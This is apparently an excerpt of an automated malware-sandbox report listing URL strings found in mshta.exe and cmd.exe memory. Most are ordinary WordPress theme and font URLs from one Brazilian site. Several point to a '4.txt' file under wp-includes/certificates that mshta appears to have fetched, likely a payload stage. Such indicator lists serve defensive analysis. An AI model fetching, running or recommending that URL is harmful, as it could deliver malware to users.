Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.00.9.3Win
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0%D
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssCherryFc
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.csscssp
Source: mshta.exe, 00000008.00000003.1075466152.000000000361B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1100942532.000000000361C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167728789.000000000361D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1100870540.000000000361B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1075749144.000000000361C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkNatKp$X
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkstyle.css
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1075466152.000000000361B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1100942532.000000000361C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167728789.000000000361D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1100870540.000000000361B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1075749144.000000000361C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css.COM;.
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg)
Source: mshta.exe, 00000008.00000002.1183351027.000000000A270000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg=P
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgn
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.36==c
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.01.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ngC:
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0C:
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.6
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3tion
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164695622.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.01(
Source: mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0C:
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0S
Source: mshta.exe, 00000008.00000003.1049482721.0000000003F08000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169145615.0000000003F0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049589949.0000000003F0A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049614046.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0http://facextrade.
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.9.20g
Source: mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.124
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssw
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.css
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themesc
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themescexto
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themesn
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png(
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/
Source: mshta.exe, 00000008.00000002.1174340192.0000000006560000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4
Source: mshta.exe, 00000008.00000002.1167261867.0000000003310000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#~?t
Source: mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...
Source: mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...ss
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.6.0
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.6.00
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt0
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt0/1.1
Source: mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt1
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt11.1
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt6
Source: mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt9
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt=2.3.0
Source: cmd.exe, 00000002.00000002.1164080294.00000000002CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: mshta.exe, 00000008.00000002.1164136654.0000000000200000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtet
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtg
Source: mshta.exe, 00000008.00000002.1166726168.00000000030E3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1164136654.0000000000200000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txti
Source: cmd.exe, 00000002.00000002.1164080294.00000000002CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtjr
Source: cmd.exe, 00000002.00000002.1164080294.00000000002CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtkr
Source: mshta.exe, 00000008.00000002.1164136654.0000000000200000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtn
Source: cmd.exe, 00000002.00000002.1164080294.00000000002CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty-policy.9.20l
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/:
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/;?s
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/=
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/gur
Source: mshta.exe, 00000008.00000002.1174873870.000000000662F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policyflateR
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/w
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417C:
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1=1
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417ss
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174340192.0000000006560000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4=1.0
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20e
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20ions.imageW
Source: mshta.exe, 00000008.00000003.947982733.0000000003163000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947997999.0000000003164000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947911066.0000000003160000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.952987181.0000000003160000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166726168.00000000030E3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166908469.0000000003161000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.953060224.0000000003164000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.953009575.0000000003162000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.953030822.0000000003163000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947966854.0000000003162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.203J
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20?ver=1.3.4=1.04.0E)n
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css3hKt
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20h
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20o
Source: mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml.txt
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/xmlrpc.phpSd?t
Source: font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io
Source: font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3public.css
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100s/4.txt
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300P/1.1D
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400z
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txt
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:90006888444
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txtQ
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900fluid
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900left:19.
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/#
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 00000008.00000003.962414224.00000000003B7000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);smedia-
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotgzip
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.962396329.00000000003E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963201926.00000000003E0000.00000004.00000020.00020000.00000000.sdmp, css[6].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
